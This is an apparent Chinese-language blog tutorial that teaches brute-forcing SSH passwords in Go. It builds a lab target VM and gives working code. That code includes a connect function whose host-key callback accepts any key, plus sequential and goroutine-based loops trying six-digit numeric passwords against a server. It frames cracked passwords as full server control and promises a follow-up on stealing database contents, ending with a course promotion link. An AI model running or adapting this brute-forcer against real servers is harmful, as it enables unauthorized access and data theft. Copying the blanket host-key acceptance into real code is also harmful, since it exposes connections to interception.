Go語言破解SSH伺服器
需求和思路分析
- 現在的很多小夥伴們都擁有了自己的雲伺服器了,lots of them!
- 平時大家是怎麼做伺服器管理的呢?相信多數人都是通過SSH客戶端連線過去的吧;
- 無論PUTTY還是XShell,我們只需要一個登陸密碼,就能輕鬆地登陸到遠端伺服器終端,然後對我們的伺服器做任何事情;
- 只需要一個密碼就可以了!
- Go語言有SSH連線的第三方庫,引數自然是使用者名稱、密碼、遠端IP和埠,而密碼我們可以通過暴力列舉來進行破解;
建立靶機
安裝並執行SSH服務,以Ubuntu為例
//安裝SSH服務 sudo apt install openssh-server //檢視服務狀態 sudo systemctl status ssh //啟動服務 sudo systemctl start ssh
使用另一臺虛擬機器與之進行SSH連線
ssh [email protected]
安裝第三方庫
go get golang.org/x/crypto/ssh
訪問golang.org需要翻牆,我們可以先手動在GOPATH/src下建立golang.org/x目錄,cd到這個目錄,然後執行
git clone https://github.com/golang/crypto.git
連線SSH伺服器
核心API如下:
func Dial(network, addr string, config *ClientConfig) (*Client, error) func (c *Client) NewSession() (*Session, error)
從核心API出發,一步一步按圖索驥,我們就能夠寫出連線的完整程式碼了
/*獲取客戶端連線*/ func SSHConnect(user, password, host string, port int) (*ssh.Client, *ssh.Session, error) { var ( authMethods[]ssh.AuthMethod addrstring clientConfig *ssh.ClientConfig client*ssh.Client session*ssh.Session errerror ) // 建立密碼校驗方法 authMethods = make([]ssh.AuthMethod, 0) authMethods = append(authMethods, ssh.Password(password)) // 建立一個格式合法的回撥函式 hostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil } /*建立SSH客戶端配置*/ clientConfig = &ssh.ClientConfig{ User: user, Auth: authMethods, // Timeout:30 * time.Second, HostKeyCallback: hostKeyCallbk, } // 連線地址 addr = fmt.Sprintf("%s:%d", host, port) // 撥號並獲取SSH客戶端 if client, err = ssh.Dial("tcp", addr, clientConfig); err != nil { return nil, nil, err } // 建立新的會話 if session, err = client.NewSession(); err != nil { return nil, nil, err } return client, session, nil }
測試密碼正確與否
下面的程式碼中,我們分別使用正確的密碼和錯誤的密碼嘗試與靶機建立SSH連線,連線成功時,返回的error為空,說明密碼是正確的,否則返回具體的error;
/*成功與失敗*/ func main() { //正確密碼 _, session, err := SSHConnect("sriouyang", "123456", "192.168.137.152", 22) //err為空 fmt.Println(session, err) //錯誤密碼 _, session, err = SSHConnect("sriouyang", "654321", "192.168.137.152", 22) //err不為空 fmt.Println(session, err) }
同步暴力破解密碼
以6位純數字密碼為例,我們就可以這樣來破解了
/*同步暴力破解所有6位純數字密碼*/ func main02() { for i := 0; i < 1000000; i++ { //嘗試使用當前密碼登入SSH伺服器 pwd := strconv.Itoa(i) _, session, e := SSHConnect("sirouyang", pwd, "192.168.137.152", 22) fmt.Println(session, e) //根據錯誤是否為空判斷密碼是否正確 if e != nil { fmt.Println(i, "嘗試失敗") } else { fmt.Println(i, "正確密碼", pwd) break } } }
非同步暴力破解密碼
- 同步破解每次密碼嘗試都需要等待很久才能返回結果,對於幾千萬次的不同組合的嘗試來說,這顯然是不OK的,於是Go語言的併發來了!
- 我們對上述同步破解程式碼進行改進,將每次嘗試丟給一個不同的協程去做,這樣我們就能併發地測試多個密碼了;
- 注意事項1:每次嘗試失敗後,要斷開客戶端連線,否則很快連線就滿了或者無效了,就會出現各種各樣的BUG;
- 注意事項2:不要真的開闢百萬併發協程,那只是一個美好的理想,現實中伺服器端的最大連線數是有限的,所以我們使用管道模擬訊號量,來控制最大併發數,此處桫哥使用了5併發;
- 注意事項3:在統計嘗試次數時,嘗試次數這個變數不要併發地去修改,否則容易出錯,桫哥在此處使用了原子變數做同步修改;
完整程式碼實現如下:
/*非同步破解*/ func main03() { //chQuit := make(chan string) //控制併發數 chSem := make(chan int, 5) //全域性等待組 var wg sync.WaitGroup //嘗試次數 var count int64 /*暴力嘗試密碼*/ for i := 123400; i < 123500; i++ { //開闢嘗試協程並註冊到等待組 wg.Add(1) go func(i int) { //使用管道做併發數控制 chSem <- i //嘗試連線 pwd := strconv.Itoa(i) client, session, e := SSHConnect("sriouyang", pwd, "192.168.137.152", 22) //最終關閉客戶端 defer func() { if session != nil { session.Close() } if client != nil { client.Close() } }() //記錄嘗試次數,此處使用原子操作保證同步 atomic.AddInt64(&count, 1) fmt.Println(e) //判斷破解是否成功 if e != nil { fmt.Println(i, "密碼錯誤") if pwd == "123456" { log.Print(e) } } else { fmt.Println(i, "正確密碼") fmt.Println("共嘗試", count, "次") os.Exit(0) } //讓出併發位置,從等待組中登出 <-chSem wg.Done() }(i) } //等待所有協程結束 wg.Wait() fmt.Println("main over!") }
執行結果如下 破解了密碼就等於完全控制了伺服器,下一節我們將把伺服器資料庫裡的資料盜走,名曰“脫庫”;
加入兄弟連Go區塊鏈帝國,獲取海量免費學習資源,並天天有驚喜(小姐姐出沒)
桫哥帶你學Golang雲盤連結:https://pan.baidu.com/s/1LsajZhxEp5G5JvK1VhrSxQ 提取碼:nab8